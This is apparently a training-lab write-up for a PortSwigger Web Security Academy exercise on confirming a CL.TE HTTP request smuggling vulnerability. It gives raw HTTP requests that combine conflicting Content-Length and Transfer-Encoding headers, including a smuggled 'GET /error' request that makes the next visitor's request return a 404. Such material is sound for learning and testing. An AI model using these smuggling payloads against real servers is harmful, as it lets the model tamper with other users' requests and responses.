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# CL.TE Vulnerability Confirmation via Differential Responses
CL.TE Vulnerability Confirmation via Differential Responses notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation co
### HTTP Request Smuggling, Confirming a CL.TE Vulnerability via Differential Responses
This lab uses a front server and an internal server. The front server **does not handle chunked** encoding. / The objective is to **smuggle a request to the backend** so that the next request to **/** triggers a response **404 Not Found**.
> **Note:** Even if the lab accepts HTTP/2, the required method is usable only in HTTP/1. / **Tip:** Burp's HTTP Request Smuggler plugin helps automatically recalculate lengths.
#### Initial Observation
The front-end interprets **Content-Length**, while the back-end is based on **Transfer-Encoding**. / Sending a minimum request:
```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 0
```
Then by adding a parameter, the length goes logically to 9:
```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 9
test=test
```
To avoid automatic recalculation of length, a new header is introduced.
#### Adding *Transfer-Encoding*
If we add:
```http
Transfer-Encoding: chunked
```
the server returns a desynchronization error:
HTTP/1.1 500 Internal Server Error
However, when sending a valid chunked payload:
```http
Content-Length: 13
Transfer-Encoding: chunked
3
abc
0
```
the answer comes back in **200 OK**.
We can also test:
```http
Content-Length: 5
Transfer-Encoding: chunked
0
```
#### Injection of a Request to the Backend
To obtain a **404**, you must force the back-end to process an additional request. / If one adds:
```http
GET /error HTTP/1.1
Test: A
```
and that the back-end correctly interprets the smuggled request, it executes the `GET /error`.
Full example:
```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 41
Transfer-Encoding: chunked
3
abc
0
GET /error HTTP/1.1
Test: A
```
The first answer is in **200**, but the next request sent by the browser triggers a **404**, proof of desynchronization.
#### Variation: Run Another Page
If you want the backend to execute another resource, for example:
```http
GET /post?postId=4 HTTP/1.1
Test: A
```
then the main page will display the content corresponding to post 4, confirming that the smuggled query was processed by the back-end.
---
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